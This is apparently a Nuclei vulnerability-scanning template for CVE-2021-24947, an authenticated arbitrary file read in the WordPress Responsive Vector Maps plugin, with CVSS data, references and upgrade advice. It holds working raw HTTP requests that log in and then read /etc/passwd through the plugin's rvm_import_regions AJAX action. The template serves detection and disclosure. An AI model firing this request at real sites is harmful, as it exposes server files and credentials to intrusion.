WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
PoC代码[已公开]
id: CVE-2021-24947
info:
name: WordPress Responsive Vector Maps < 6.4.2 - Arbitrary File Read
author: cckuailong
severity: medium
description: WordPress Responsive Vector Maps < 6.4.2 contains an arbitrary file read vulnerability because the plugin does not have proper authorization and validation of the rvm_upload_regions_file_path parameter in the rvm_import_regions AJAX action, allowing any authenticated user to read arbitrary files on the web server.
impact: |
An attacker can read sensitive files on the server, potentially leading to unauthorized access or exposure of sensitive information.
remediation: |
Update WordPress Responsive Vector Maps plugin to version 6.4.2 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/c6bb12b1-6961-40bd-9110-edfa9ee41a18
- https://nvd.nist.gov/vuln/detail/CVE-2021-24947
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/kazet/wpgarlic
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-24947
cwe-id: CWE-352,CWE-863
epss-score: 0.08078
epss-percentile: 0.91819
cpe: cpe:2.3:a:thinkupthemes:responsive_vector_maps:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: thinkupthemes
product: responsive_vector_maps
framework: wordpress
tags: cve2021,cve,authenticated,wpscan,lfi,wp,wordpress,wp-plugin,lfr,thinkupthemes
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a00473045022100d401308097a57b8dd4612813785048d74d64e55f8a35d92e32967f472160802f02201c5c37e00d80b0c2a75ef2874a7a6ee562a39193a3aa06ff628625170b84ea2d:922c64590222798bb761d5b6d8e72950